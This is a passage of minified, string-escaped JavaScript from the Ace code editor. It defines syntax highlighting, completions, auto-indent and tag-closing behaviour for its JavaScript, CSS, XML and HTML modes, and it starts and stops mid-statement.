r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var 